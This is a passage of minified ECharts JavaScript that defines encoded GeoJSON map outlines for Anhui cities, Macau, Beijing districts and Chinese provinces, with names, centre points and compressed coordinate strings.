ƒlkxU¦@L@V@V@b@b@„WJXbWVXn@LƒKVL@JkLƒŽV@Vbn@VV@XU@UlV@@VV@V@XXV@@VšJ°š°Xnb°@„JUVVXV`@bkXWŽUbU@WŽn@VLXlm„°bV„UbkK@bVJ@bVbkLV¦ƒKķV@x@„XbmVVVk¦"],encodeOffsets:[[119678,33323]]}},{type:"Feature",id:"3403",properties:{name:"蚌埠市",cp:[117.4109,33.1073],childNum:4},geometry:{type:"Polygon",coordinates:["@@VÒXLlUlJ@UXV@nÇx@bnlUVllnVaXVV¼UVW„U@V„²wVV@Vl@„VnwlIš@XbÆWVnUVmLUV„nm`k@VbnblKXUVIlxkb@VVLlK@bšwXxV@n¤ÆUVaÈaV_@anyVwV@„kl@°m@LnU„bl@„WVkV@Xa„a˜V„IXl‚IV‚„@XbVUÆ@XKWwUkmW@_UmnIlJXkWKXmV@‚w@_XV@Kl@kU@KlX@@UUUUKWLm@klJVUUmk@mXUWmXwƒ`m@„zUbÝakbW@m@UUƒéUIm@UbKǼ@™kKWXmWUkaWU—JWU¯L@W™Lƒwk@mm@_™ƒÅl™UVkmWUnV@VWLUb™bƑĬ¯l"],encodeOffsets:[[119543,33722]]}},{type:"Feature",id:"3402",properties:{name:"芜湖市",cp:[118.3557,31.0858],childNum:4},geometry:{type:"Polygon",coordinates:["@@„bVaV@XllLXU°ŽlL@V@VUnVl¯Ikš›VUVU@@b@lUXUWmb„n@¼šbƒĊ‚LÞ@lVXlmÞUnkJ@nlKVVšÞXklWVaVI@aUKn»lL@Kn@‚XXwlm@mn°@„V@Wy„wXlWVk™ƒ@aUaVU¯£kKWVXVWLUkkWlkkwmJUam@@aULVa@UƒVaUaVI@m‚@UUJUIUmmV@bm@UXVVUlVmImakKUU@UU@VmU@@kma@KVIXUVK@U™VmUkV™m±£@JkU@nlšk‚ƒLUlmb—@WbU@@XnlWb"],encodeOffsets:[[120814,31585]]}},{type:"Feature",id:"3406",properties:{name:"淮北市",cp:[116.6968,33.6896],childNum:3},geometry:{type:"MultiPolygon",coordinates:[["@@lnnK@¦n@@V‚V„@@VV@nIV„V@VW²a@b@bVnUVVV@V™z@lš@°UšV„IVaVV@x@ŽXX@WlwUnV@XblW„b@XlK@aš@kƒ@al@@_V@@WÅwmaUaV@„bnaVL@llInmU_@W@aƒUUĉUaVwm@XWK@wƒVkaVUUwU@@aV@@mlI@WœLWƒUUUƒVU@kV@XalKVaUƒVUUUk@WwUK@aVI@WƒUk@@UUU±xkb@lVš@xnLÇbUbk@@bÇVUJ±U@U—@WLXšml@bVVXL@lV@@LmbkLW`kbVxUn@LkxmV@bm@@VkV"],["@@VVVkV@¥@UV@U@VUUJƒkWakKUšlXVJ@bXV@blX@aXV@V"]],encodeOffsets:[[[119183,34594]],[[119836,35061]]]}},{type:"Feature",id:"3404",properties:{name:"淮南市",cp:[116.7847,32.7722],childNum:2},geometry:{type:"Polygon",coordinates:["@@°kƒīšaVaXK@U‚UVmnXUlšVÆkVKUUUmmU„ÑkU™UÝlĉKUƒwƒKƒbU@UxW@@lœmVUUVmUUƒmƒw—aW„kL¯K@Žm„ULWlIm`X„WL@b@¼@V@xkVƒI@b@l@lk„V°Ȯ¹ĸW"],encodeOffsets:[[119543,33722]]}},{type:"Feature",id:"3405",properties:{name:"马鞍山市",cp:[118.6304,31.5363],childNum:2},geometry:{type:"Polygon",coordinates:["@@šNJnllLnxV@laXLVKma„aXbVI„bVKVVVIVyn@n_ƒƒW@@ƒ„UnJlUVVXlLnaUWlV@VV„IXW@_W@XK@K@UVUUwVamÑXmmwƒw™KUnUK™çU@ƒJƒU¯@mŽ@nknWxWm@@LkKm¼VL@bUJUbkXWl"],encodeOffsets:[[121219,32288]]}},{type:"Feature",id:"3407",properties:{name:"铜陵市",cp:[117.9382,30.9375],childNum:3},geometry:{type:"MultiPolygon",coordinates:[["@@„ÒV¤@¼V²@aVV@Ž@„„x°Vš£nW‚@nbnaVXVW@k@aV@VUœUl™°JUkVm@U@UkK¯WVkKWkU@Ubƒakwmlwm@ƒkUmƒUUKU@@VmLUbVLUV¯U"],["@@LllUL@VlxšL@a@UƒwXamK"]],encodeOffsets:[[[120522,31529]],[[120094,31146]]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/ao_men_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"8200",properties:{name:"澳门",cp:[113.5715,22.1583],childNum:1},geometry:{type:"Polygon",coordinates:["@@HQFMDIDGBI@E@EEKEGCEIGGEKEMGSEU@CBEDAJAP@F@LBT@JCHMPOdADCFADAB@LFLDFFP@DAB@@AF@D@B@@FBD@FADHBBHAD@FAJ@JEDCJI`gFIJW"],encodeOffsets:[[116325,22699]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/bei_jing_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"110228",properties:{name:"密云县",cp:[117.0923,40.5121],childNum:1},geometry:{type:"Polygon",coordinates:["@@vIHZDZQtDLNMXIbHRCXXITbJ@H`LGPRDDJNCLHTOCWFGvGBUJMKGFO^IHWXITQCI’Y^AXGfRˆDXF`DJOLB~G\\DZIHHpErUVMhHb]\\M†BVF@FTP`@zTbD\\@~M\\K`H^EVODWICAakAQXoIcCOCIgGYNWFWNGGKKGaJEGMEIKYJUT_J_Go@_SyQaSFMEGTcYOQLIIi@EKAUPCV[EEXQCW|aMUMAaYCYNIDGGACIMGGSKDQGaF_C[GaB@GOIiOKAYL“mI@CN]F[SWWAcKKI@HMUimEKbeYQYISNUOcBKPIFBNgvDPGZYFSf]CMSIWGEUFgDIQ[MeDMJS@RR@LphFPCHaBAJKF@J]IBJO@HlO@@RKAMPJHCNDJTHFP@ZGNANBRFH@J_fM^ONJNF\\VTDJHDON@XRND\\XRCPVETCLBVKDFJINHRGPRV@\\CLJN@VbXbLVT"],encodeOffsets:[[119561,41684]]}},{type:"Feature",id:"110116",properties:{name:"怀柔区",cp:[116.6377,40.6219],childNum:1},geometry:{type:"Polygon",coordinates:["@@JHTVHXCHPfnDJGHNDJSB[JSBGVSAOH@PMPuDEHHXZN@PHF@ZLJ@LHVYJA\\OFWP]BMtMBSRGV[JeVAPQVIFENMD¡–@^NV\\JH@NNL@NM\\kTQ\\I^FNIpBHGTBFFAZQfKDIXQTLXFXNNVMVHRGpCFLlRLEVBBH`IVO\\G`RDPAXLXBXORHZEHTDLLN@VGTMrQNFPeASKG@GMOAKBYMK@GTUHUXSHMVDNMOUEOZMJML@^KRACMZEZMRQLUHE@OFENPR@DI\\ChMHIDG\\GJMDWHCKGMDCIQCHO_K@GaIJSWWQDaGWJMNCKRsCYGYuJUSaKaW@UIMDK@[QUHOGQJMEILCAUDKFSOUQD[WMC‚Q@WPMGCCIUSE[IMPMN]`e@IEGAQBMHM@YEOSGCIDMIGNOLB@QP@GkP@AI^J@ILEBIbADGEOog@KQQWSekWQQUOFKZLF@PUNmIaHIUeBCTSHENcJa@_IWSaGu`GLSBKJQFOXGDXVQVOBIHcDSJWBEFGTMH[^mLaXcHiKElTRKtFXZ`MHMPCNRDxZˆB\\ICIHK@KŽHbIVFZ@BPnGTGbDXRDJaZKRiGEFSFEJhjFNZFjn"],encodeOffsets:[[119314,41552]]}},{type:"Feature",id:"110111",properties:{name:"房山区",cp:[115.8453,39.7163],childNum:1},geometry:{type:"Polygon",coordinates:["@@h@bl@HRJDZ``TA\\VVD^H`\\pF\\JŒ`JGv@ZO\\GPSTEjPTR`FnEbDTDHEhLFMTK@ETSPULKEI@OVISKSJACEQNQbV˜IXGDIN@dMB[IIBcN]ZHNLP@XOWCFWŠCNRHTpATD@^NVNLED@Rh@jCEF}E[OOHUEW]W@QGGDIQSH_MmFmCUT_K]i@MHCMW—FCF‹E{BMHMPOHKS]CFNGBELDH_@BcAKOACESAOBELaXAROB@FODMEDWJAG[aE@UM@DImEWJMC@OeCA{aE[@{L@MINUCQXKfUJORCHqJBF@TCXWNQX]M[EAJO@@KMBQJIC]EWMCCUBEBFHKDOTMBGNGF]MWDBRDdMDQVyE@LPVHDCP@JVVMTG~HNSH[CmRUvHPHBbA\\PTNRC\\YNJ€PRARPJDDR"],encodeOffsets:[[118343,40770]]}},{type:"Feature",id:"110229",properties:{name:"延庆县",cp:[116.1543,40.5286],childNum:1},geometry:{type:"Polygon",coordinates:["@@^AXOPEB[ZIGU@KKI@YGE@OYMGWFGvCNO@OPGTBHUTA\\ITACIGMIHmCOeDGGWSUIGimYEEMgiFITEFEjHLQbYCIWQaCSHmHAOY@UEaJG@LGLDJ[J‡AwYQCDMNONGY_EWLsSQFkMO[NWAIGaIYL@HMBOKiOQDWEUDMQSF_QIUBWdg@[NaAKQ@M]OQ@WhgLUMMFYQDIRCEUZOOCIOJ[KIUMKL@HIDKVEBM`HJAJSJUdBLGNEdMBMO[BYEWJSNKNaD]PE\\SjOT_RQVEZPpƒNQXfŠNA~lNG`@PNLp¼RFLfbdKbATUh@FSNWjGFZVLFHVA~X¨PPROfFJbNJPLFbENJPrEFNPFRHDDJdENJLVEPBJTVTHGHFRFH@PXP\\ORQHW\\BjWFDERLPPBbB\\E`B\\D\\L`@F]FCnJ^AZL"],encodeOffsets:[[119262,41751]]}},{type:"Feature",id:"110109",properties:{name:"门头沟区",cp:[115.8,39.9957],childNum:1},geometry:{type:"Polygon",coordinates:["@@V@XMnGPY²‰JQNEhH\\AZMPDVTTDZCPiJkHSHCjIdFtEHITCNITQEKUAMCEIKCECABYESKFWAKBEIIHABGDCKCAIHMHALKEI\\CFIBILIJQZS]BBEECS@E@@C]COKI@CABAAEEDMGƒCH]A[M@CJWH—JaUMRFRBDTITLUJ@PFJKLOVST@FSLENgKGFSCaCmF_ESQiOSFOT[HYPu@IH‹_[IoE_[]GUC[USB__CYQI@Gakg@qZeHQNMNV\\FVLPgJAFJPRLCH[XcPELUT[JiV_EELFTADBXRTRLJC@fHXHHbPd`fR@NfT`@TLplHMpCEJHJBVLFŽ@JT‚VnG^KXDXHNVGRLRXFJVdDHSNWLGfEzA"],encodeOffsets:[[118635,41113]]}},{type:"Feature",id:"110114",properties:{name:"昌平区",cp:[116.1777,40.2134],childNum:1},geometry:{type:"Polygon",coordinates:["@@VNLJI\\JPPDYPFVQDCJZRNEVNhKXgR@^P@NLRbB\\Mh@XcVARJE`RTCNFV€XRCjPPLNA@GZKbJJHXB\\MNPjLdGbWnK\\]NGHSFEXATIdCJGPARUWUHCPWRELITAHKv_E@iYCaW_BQ\\Y@QIO@QDCIGZCEMWGFMFAFgHEDOCSqKCCFGAMKEAC@ODGCGs@WH@KQA@EE@CE@GEA@EH@GGUEEJEAYD@JM@@DAA@FHD@FTJEHUC@JUBKCKG@G[CIIQReAYhO@OXGDO@@FF@IHJFCPEBACBIAAKDOABXARHPNEHGbQAAKQFGIAM[C@WHKaGiCEGOA‹HUKCIokSCUSOCYN[BgGMFIR±ŠOZmHWNU@ShbbXDHVXXGJ^lZ@PZ\\Nb@\\FHJAD"], +encodeOffsets:[[118750,41232]]}},{type:"Feature",id:"110115",properties:{name:"大兴区",cp:[116.4716,39.6352],childNum:1},geometry:{type:"Polygon",coordinates:["@@F\\E~DFN@BDFEpHFCHBBEGCDCJBHUDSBB@ELCPbF@B\\J@BJVAFJ\\ADKTCBGECFMT@BMN@@FH@DaNBEnvB@FPBATK@FHEFIAKFBFL@@PKBFJHC@FXBRAFCDMPDTOL@JIVFDHH@DDH@BGRFCDLD@N^@@CNA@KNOAEBCECFEGCFGMGFIPMOEJOLBADBBHGG@GCHIECY@INC@DMGS\\AIOZAAEYA@GT@KKMBEETCGMVINFxA@MJADB@FlA@HJA@NND@DFA@DVAZBBOFKH_JA@K^GBC@EFE„G@gAENMXKJigC@IbSJMqGOP£RGSMGE@kbQFDPEFiBSGGSBK]I{CDWCIDOic[C_G@SuSO@EWKCO@MNY@\\uZOPENQD[LKESSKGBKEG@EJGAGHoH¥CqhifeJkX_XFFGHFNEDFPENKHM^IFIVL^S`DVEnNnG`RTCJHH@R^XFXGVPP"],encodeOffsets:[[119042,40704]]}},{type:"Feature",id:"110113",properties:{name:"顺义区",cp:[116.7242,40.1619],childNum:1},geometry:{type:"Polygon",coordinates:["@@EhEBENXHFNYDJHCD@RJP@R[ZARX`DbjZF@bHXT`Jb@dIFMTGDSfAJVbGnJVM@OKELYPERVXRflXTT@NIfC\\NJRhCVEHFJXNT^DTeZEHYCOhuAMJELOdAVPTMOWBWNMNEJgl]@WGUFIC[T{EEDEHGCIGMI@SECUQI[D{A{GQESPUH]CsiMCmHUeoHENcAaDGCMDGMQCACCBaCGLMAHB@DIEQLOAAEEJ@CW@CDINGAAGKQOCgV@LG@BEGDKNeREFBNCFIDOPKD[@YRW@GFWDAFE@EHDDrLDTCPGF","@@KrJEH[\\B@FF@CHFBHUN‹AJKADGECBCMAG^E@EbI@BEGP"],encodeOffsets:[[119283,41084],[119377,41046]]}},{type:"Feature",id:"110117",properties:{name:"平谷区",cp:[117.1706,40.2052],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZJZRafFLjn€VGNJ@LLBdXX\\T^EDMJ@”nZKLBjPPJ@HbA\\H`DbERHLCFK^BZaFWXQLAGMHa\\OLO@SBIpBdCLƒVQfElO@GSAKEDQTC@GEBKG@ORIJBDAPDFA@CaOq@GGQAAEJK@KMUGAAGEAa@MGMBGCGSIIW@WSUCMDOJeWOM@IUF{WMWaDIMgIoRoCOKeEOEAG_I[cg@wLIFENQFDVTFJ@HNDJGHCFFFS|D\\EJHV@Xk^IhMFMNAXPX"],encodeOffsets:[[119748,41190]]}},{type:"Feature",id:"110112",properties:{name:"通州区",cp:[116.7297,39.8131],childNum:1},geometry:{type:"Polygon",coordinates:["@@FDAJTGDNDCTDDEDBBE@DT@@EHCDGJ@EIZ@@FDBR@ATFBBVFFE@@HNA\\VE@CLIFNJFNJBCP]A@LJFA@HJEDD\\C@DBCHLAEPF@@DH@APHAERDF\\GIxDTM@CFLBBFJ@CNUPMHECGDBF]BMFPDLRBHHBJMDCX@@DFIBFPBRKJF@CGANBHKbDDABDRDHNNCHDbCdBFMpGHiOYMefKJMC}HWAUNW\\NNBNA„kNU|]HMTMN@MZBLFFF@RIRUT‘BMFIEGaAGGAOIIUGTSFcYKS@MSLYPKRUBU]EWDOI]CKGASgW@MTWKIMCS@uMAKKADMECGAKVUTSDy@IjWLMNBF@hƒHEF@FAD]H@LIBG`ELAPYAUB@CEB@CMC@MIB@GkB@ECAIB@NwBMEUJHNSDFFNALLS@@HZBBFYBJP[BHTCND@JMZ@FDGJHDH@GHAABCKAIPPFONEJNHEHHDEFFDADBFMP@L"],encodeOffsets:[[119329,40782]]}},{type:"Feature",id:"110105",properties:{name:"朝阳区",cp:[116.4977,39.949],childNum:2},geometry:{type:"MultiPolygon",coordinates:[["@@bFGHBHFBFIVFHHG@@FFB@HDFF@@FRB@LXGt@DHCH@PBDLFBNF@BEXCHEX@ZQ\\@LCPOJCDEAMFEfQLMHCAFH@@KhUNE^AAEHCFDNGVODMI@AEKADEN@CSJw[HCEFQGBBOG@@CE@FOKBDGCAD@C[FCGIB@IE@K^BDOIAEMMIJEDKF@[UMB@GF@EEAUEABSQ@CA@EY@FJI@CHGD@FS@@CAFCACFSCCDCMSHBIECMB@D]@@MKCDCQEAHG@CCG@CGUEIJK@SPOCCNEDQBDNDB@DJCDLFCBBALJB@BVGPBKVO@KHCCCD@FE@BNA@FNCTDDJA@FGB@NBDW@CL@hT@@ZHHQDDDAFSAANBC@HG@EFS@@DE@@PCB@Ue@CADNJB@FCBWA@LI^ix@FIHrH"],["@@HUN‹AJKADGECBCMAG^E@EbI@BEGPKrJEH[\\B@FF@CHFB"]],encodeOffsets:[[[119169,40992]],[[119398,41063]]]}},{type:"Feature",id:"110108",properties:{name:"海淀区",cp:[116.2202,40.0239],childNum:1},geometry:{type:"Polygon",coordinates:["@@plDJVLŒGPBFHjDbHGL@X\\DBNHJREBLRBHaFGŽMGOBQAWPBLCBBAJBDFADOIEJGE@@EP@HCPWP@ZgfBRQJJ\\D@HLHLDVA@IVDFGSI@EGC@EBB@CN@@IZCAGHGaEqGJG@EjwJ]@K@GSA@e_I@NE@CA@Kg@KC@ENCFƒAKQAW@WIMK@V‹@I@@F@^EDFB@HcIaDYCBRRDCHD@EFLN@FE@CJUPEJOJMTBPEDIFCMIAKNOGMRFJNDVBFLSRMJSDGJsFcEiJGDGTIlOjYD"],encodeOffsets:[[118834,41050]]}},{type:"Feature",id:"110106",properties:{name:"丰台区",cp:[116.2683,39.8309],childNum:1},geometry:{type:"Polygon",coordinates:["@@hMN@NFTQCFRCBJFA@HJ@@HJ@HJ\\FTACDŒ@@UNLXJX@@MA@@IECAQlDFEHBDI~D@GXCFMVDFCH@@NF@ANJC@FnAB@AMF@@EDCDDLGP@LUOAUH@AIABKAAEDCKID@CCACMWA@EGDEILA@OK@AELEJBFEEGL@BSOA@EuAFmMACbG@@EM@ANS@ENFDAHSDCL[BEIUBAII@A[E@OaKD@FAACTGVIACDHDAFGAEDoGEFACM@i€g@@QFCMKMU@]SCoBGSMQ‰DEXXDWPO@MKYGM^AdJJA\\cNB\\G^„DNHFCBFABDBJ@PL^D@DF@T@FDAF^A"],encodeOffsets:[[118958,40846]]}},{type:"Feature",id:"110107",properties:{name:"石景山区",cp:[116.1887,39.9346],childNum:1},geometry:{type:"Polygon",coordinates:["@@NQPHLMJBDNJEFCAONSPIFIVODIF@@EKMFEC@DGQCAQZDbCdJ@GEAFC@]@EJ@DCSB[EGII@@GI@@GEBAIQDDESRMEM@gNYTIRKJAJEJ[DFJKLGBGNBJLDCDAHGBJJAFBLEXTLZFBAFDLD"],encodeOffsets:[[118940,40953]]}},{type:"Feature",id:"110102",properties:{name:"西城区",cp:[116.3631,39.9353],childNum:1},geometry:{type:"Polygon",coordinates:["@@XBDA@EIACM@IJAD]BC@SFABISAD]H@@OAEDQEW@BLE„MD@FLDh@@LDBF@@M`J@fTB@H"],encodeOffsets:[[119175,40932]]}},{type:"Feature",id:"110101",properties:{name:"东城区",cp:[116.418,39.9367],childNum:1},geometry:{type:"Polygon",coordinates:["@@DBf@@VDA@OF@@CT@FEH@@GADBMTBBECCRCGG@YS@@gDK@A‘C@PG@C^TBAJEB@TADC^IB@J"],encodeOffsets:[[119182,40921]]}},{type:"Feature",id:"110104",properties:{name:"宣武区",cp:[116.3603,39.8852],childNum:1},geometry:{type:"Polygon",coordinates:["@@RBX@RFFCŽBFU@aK@WA}CCJGAEFkCBRFD@JB@@N"],encodeOffsets:[[119118,40855]]}},{type:"Feature",id:"110103",properties:{name:"崇文区",cp:[116.4166,39.8811],childNum:1},geometry:{type:"Polygon",coordinates:["@@XBL@@bEV’D@BX@AC@MHA@EIBCCDSEMmB@EIDBME@@MG@EDUCENWD@H"],encodeOffsets:[[119175,40829]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/china_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"xin_jiang",properties:{name:"新疆",cp:[84.9023,41.748],childNum:18},geometry:{type:"Polygon",coordinates:["@@@›ρȁôƧƦóəʵסʵóƪԫʵѵͩƧͩړ›υࡓɛʵ@ȃ@óᇑѵƨɝɚôóНѺͩɜ̏ԭʵôƧɞñ@υƩ—݇ȂóƩƧ@ѵȂυœƥŌਗ—॥ɛóʵѵƧѹ˜݇̍ࢯ˜əɞυ˜ρͩ̏óਙƨƧŋôōóš̍ͩóʵן›óŋړͪƧѶ@ɜԭ—ԫƦɛȄ̍›ɝȄöςƩȂ̏œñȀ̏œƩóóŎə˜@Ő̎@ɞȀɝŎôƨóנѵȄƧ@óŏɝœóɜôŎ̍ͨςŎ@ƨóôƨɞ݈ʶóƨφó̎Ȁƨ̍ԮòѸԮמ@ѺȀ@ƪၬֆòȂñ̐òȂɜ˜óƨ̒Ŏ̑߼@φρȀ@Ő๐ς̎Ƨφ@ɝφڔ೦Ԯǿࢰ@ƦŏԮƨƨȄƧ۬ɜʶڔŐɚɚóŐôƨ߼˜ôƧƧó̐ƥóŏѺǿƦȁφƧς˜ƨƧ̒@ɜƥƦυ̐ɛƪͩƩəƪʷ̑ə@ȃƨʵנŋྸōਚԭԪ—@ɝƨŋ̒օςʵôƧ"],encodeOffsets:[[98730,43786]]}},{type:"Feature",id:"xi_zang",properties:{name:"西藏",cp:[88.7695,31.6846],childNum:7},geometry:{type:"Polygon",coordinates:["@@ôŌנœôʶ̎ͪô™óŎƨŌਚƧ̐ôςͪφ—ɚɝࢰ—݈̎Ѻ—Ѷƨôʶ०ɜਘ˜Ʀŋφ›Ѷȁ̍—ôŏɚŋ@̑ə—@ŏò̍ɜ›óƥôʷƧ̍φѹԪ̍ע@Ѹʷɜ@ôñנ@Ѷɛɞô̐ŏѶƨѸƧƥōƦœôŏô—@ƧôƩ̒ŋƨŌƦǿô̎ɜȁ̒—óʶѶôôО̒›ςƥɜНφσɛȁ̎υƨఱƧŏ@ʵƥœ@ŌóóóͩƨƧóŋ̑õóɞóɝԩͪɝρôƧ̍ƧѹͨڑŎ̑ōóƧࢭͩ̏ѵɝóఱóóԪυô@̒ƥŌ̏Ƨ̑Ȅ݇ŎƧ›ѵӏ@ɛõŏɛȄôӒƧŌѵǿɝ˜Ƨŋԫ@̏ʴƥ@óǿ̑Ȁóǿ̍ςóóυô@ʶɛñρƦƩŐó̎óœѵó̑ͪࢯОóɜן˜Ƨ̏ƥȄ߻̎̏̐ןŎɝɜöɞƩȀôöɛȀóͪ̐ƨƪ̍̎ȂƥԪυО@φɞ˜ôƪ"],encodeOffsets:[[80911,35146]]}},{type:"Feature",id:"nei_meng_gu",properties:{name:"内蒙古",cp:[117.5977,44.3408],childNum:12},geometry:{type:"Polygon",coordinates:["@@ኊȁ૊ö߼ƩɜɛנñԮɛѶóԮô@ȁѸóמ̎ගѺၬ@߼ʶԮӒ߼̎@ŐѹӒ̒Ԫƨöග̑ѶȄ̒ς।œѶɚöɞɜʴڔôôȂ̎—ѺȀς—ƨ˜ƪóԪ—ɜôɛОਕڔԭ˜ѵ̍ѹȂԫ›ɛƥ̍Ȃóɜ̎ô@ʶ݊ੲࢮʵږͪנƨôȂƧ˜̐ͪ@ŐƦƨφԬѶɜôƦ@ŐƧôôƦəŐ̏›@ŐڒѶԬô̐ʳԩНςōôŏɞ@ƨȂѶəóƧ̒ػ̎ó̐Őנóƨô̒@ƨɚɚ@עԫɛɛ@ȁυͩƥʳòևρ—̑ࡗƧͪ༃ॣԮփ̎Ʀ@ôô@ôō@š@ȁѵóƨ̍υȃóʵɛƨƥóυȂóəƪ›̐ρƧͩɜԭڔȄ̎عƧȁ̐ŏó̍ɛ›ƥƧ̑óρŐ@Ƨ̏˜ɝəɛ˜߻ͩ̍ͩɝО̍ƪƧóóӓƨóƧʳ݇@ɝςƪœ@ʴƩ—ƧƦôƨɛȄə›Ƨŋυ›óͩѵ@ɝǿóŌן̍ɛ˜óО̍œ̑̏ôȁ̍ŏòȁñóƦͩ@ǿə@ɛƧ̑˜ρȁυô̍օѹœóȃə™@ȂσʵѷƪòƩ̍—ôó߻ۯôʳƧ™óšõʵѵóѹɜ̍ȂѹôɛŌφֈƩͨρóυӑóޟఱ̑݇ͪóƪƨŌóȄڔԬƩςםñ̑ȃѵŐԭŏƨȁɛǿρôõɚɛóƧОə@ѹ̐ѵöԪͨôͪɛ̒ןŏƧƥóôƥƧɛŌôóɝó@̒݇Ӓ̒Ō@Ŏԭࢰ"],encodeOffsets:[[99540,43830]]}},{type:"Feature",id:"qing_hai",properties:{name:"青海",cp:[96.2402,35.4199],childNum:8},geometry:{type:"Polygon",coordinates:["@@ƨ@ôƪ݈ȁƪ˜@φɝòóƨԮʶɛ̐ѹͪôОəóƧɞᇒѶ@ôږô@ǿѶ›ƪȁςœɜͩφ˜ςŋɞôѶɛƨŌɞ—@ɚςŐñԪॢͩƨȂɞóƨŐ̎ŏעӏ̎óƧƦôœ̒ȁɜ›ςͩ̒œɚɛƨôƨɝφɛóȁƨŋóóɚͩƨóóƩ@ƧəŋƦƩ̍@ƧƧôǿυ̑@ȁɞǿõŏρƥסɚƧóτԫɞœôƧƦ@ñȃòñƥóυôôѹѵ—@ŏ̏Ȅɝó@ȂəŌóəѹƦ@Ő̍Ōυ݈ԩŐƧóôƧ̑›ôʵɞƧ̑ѵôƩɞƧ̑œóНѵóôʵ̑˜ɛȂó̍ƥȀƧŋ̑Ōóƪ@ƨó˜óŐƥ›ƦŎѷƨѵƧ̏Őɝóѵɜן@óòɛ@ѷʸס@ԩ̎υѺƨ̎óʸôƦɛœñ̎@Őɚ˜@̒əŌóŐ̎˜"],encodeOffsets:[[91890,36945]]}},{type:"Feature",id:"si_chuan",properties:{name:"四川",cp:[102.9199,30.1904],childNum:21},geometry:{type:"Polygon",coordinates:["@@ô˜ôŋó̑Ԯ̒ɛОמͪƨōöͫ߼ƥôȃƨóóñôƧóƧôōڔŏƨŐ@Ŏô˜òƥѺŎ@ōɜóנ˜ôǿô›ƦôԮ̍ɜôɚ›Ƨ—ñɛɚȁ̍Ƨɛևυ@óóôŋρԭɝ@Ƨʸ̍ŏυɜƧƧóƧƨȁρ̍ƨȃɚ—ôʵφóô̑̏Ȃ̑ʵɜʵɞ@ƨʳסƩóŎə—óɜƧôƩƧρ˜óôôô@ŎƧƨƨƪѹ˜ó̍̍Ʃ@̏ѹНôޟ̍Ʃóƪυɝɛ—əƨôŎɛȀ@Ȃ@ñɝʶ@Ōρנ̏—õóɛͨƨȂѵОɛʵ@̏ƩŐó߼Ƨల̍φɜȂυτɛОρƦɝƨóƪ̒Ѷɝƨóʶ̒œóƨƨôԪŏφ݇̎ŋ@ŏѺƥôɚɚŋ@ȁɞô̐ȃ@ŐѶ˜óѺφóƦôñòòȄ"],encodeOffsets:[[104220,34336]]}},{type:"Feature",id:"hei_long_jiang",properties:{name:"黑龙江",cp:[128.1445,48.5156],childNum:13},geometry:{type:"Polygon",coordinates:["@@ᇔȂਚНƨŐѶŏöƥςŏñƧƦóƨȁ@óƨ—óȁφӑóóƨ˜óǿ̎̑ôНɞ—ó̑ɜə߼›̎ǿ̒ôڒӑφ@Ƨȁ̎̏ƥƩ̎ρశ˜ôȂςƨφ@נɞ݈˜̑ƥƧɛƨʵƧȃƥ@Ƨƥ@ŏ̑ԩôɝρρóɛƧ›ƩͩƧó߻ʸ̍ʷѹƥɞڕõ̍öɝυ—̍ȂƧ̐̑ŏóƨñŋѹóóȁ̍›̏Ԭõʸ̏ŏ@ǿ̍@ƧОυ@ñƨòȀƥŎ̑ŐѵóɛŌóȂԫōƧŎѹñ̍ʶóОן@Ƨ̎Ѷô@Ȃ@™óŎó@@ó̍ƥԭք༄।ƨͩ̒ࡘς˜ñֈƦʴφͪ@ȂɜɜסԬə@Ƨə̑@Ƨóןô̏ŏ̍ô̑ؼôƨѵɚƧȁɝ@óŐρŎԪО̏ʴ"],encodeOffsets:[[124380,54630]]}},{type:"Feature",id:"gan_su",properties:{name:"甘肃",cp:[95.7129,40.166],childNum:14},geometry:{type:"Polygon",coordinates:["@@ڔôԮࢯ@ō̑ŋ݈ӑ@̑ɞôóôɜŋƦƨôóƨƦנŐɜ̑óͩԩͧѶõѺ̏ɚ@ƨНɜôöəςóɜȀƧȂԮŐѶŏ̒ȄמòƪρړԫôȃƧŋôƩ݈ͩɚ@@ǿɜ@φͩóŏɜӑƧōôǿ̎›ôƥƪóõ›ö@ô—ƨ˜ôƧƦôó̒ɜ@ɞŌõʶ̏Ő@ȀóôƨȂ@ʶע@@ƥ୾ӑó̑óŋôʵóɛړ@@ƩöóƩóρ—ɛƨ̑@óʷƥƥ̎ɛƧ›ôōƧǿôͩѵôɝȃɞȁõƧρóó—@ōƧŏړŐóŎôƨóƨôòƧôóȄ߻ƦõͬƧŎםͩɜНԭ̑ô̒óŌó—ƥ@óƨɝ›σԬƨôעəςƦöŐɝȀ@Ȃφ̒óȀƨƨ̎@ƥƪɚŌ@ƨôƪƧôəͪôôƧŌôȂυɜƧɞƧóəɜ̑›ρͪɛœ̑Ȃó›ƨƥ̍ôסӐ̍ŐƧŏɝôƧȁॡͪòԩρŏ@əɝ˜ƧŋѵɜɝóρŌυ—ɛͪρ›ƩȂѵœ@Ȁڕó@ȄɜʶφࡔڔœƨͪѶͪԬʶôƩעʶɚʶƥôóƨςȂ"],encodeOffsets:[[98730,43740]]}},{type:"Feature",id:"yun_nan",properties:{name:"云南",cp:[101.8652,25.1807],childNum:16},geometry:{type:"Polygon",coordinates:["@@ôɞôɝ̒öôŌƧƨôͪôô@ŋƦ›@ʶƨŐô߻ƪŏ@̐ɜʶѶНƧȁɜͧöô̐˜ςן@ŋɞʵ@ò@ȁɜǿóōɚƧɜ˜φɞôƩ̎ƪóޠѺО@̐̎ƪô̎Ѻ—ƧƩƨƧ@ōóóôóς—ƪƨƨóôɛó̑ԭ—ƥŌɛǿɝƨɛͩô›@ǿƨȁѺŌɚɛ̍ןѶНɛƧôóƥȁƦͩôŎɞ—ƨ̑ɜ—òôφ@ƨʵ@ɛѹōóȃəƨυǿóʵρƧƧŌƩɛ̏ȄñƧƧȀɝ̍ԩʶƧ̑υ—óŌƥʳɚӑóНƥô̑›óӒѵʵѹœƧӐןôƪφõŌƪ̒ԫŌƧؼƨƨס›ρȁƧœƨȂóʶó@@ʴƨôôφ̎Ŏ@Ȁƨ—ƪɚƨœóƨôôôςóޤƧŌƩŋƧԪ"],encodeOffsets:[[100530,28800]]}},{type:"Feature",id:"guang_xi",properties:{name:"广西",cp:[108.2813,23.6426],childNum:14},geometry:{type:"Polygon",coordinates:["@@ƦŋѺ̎ڔʵƨŐ@ƦמȄƪôóȂɜŌɚͩɜ@öóɜôôȂƦôɜȁ@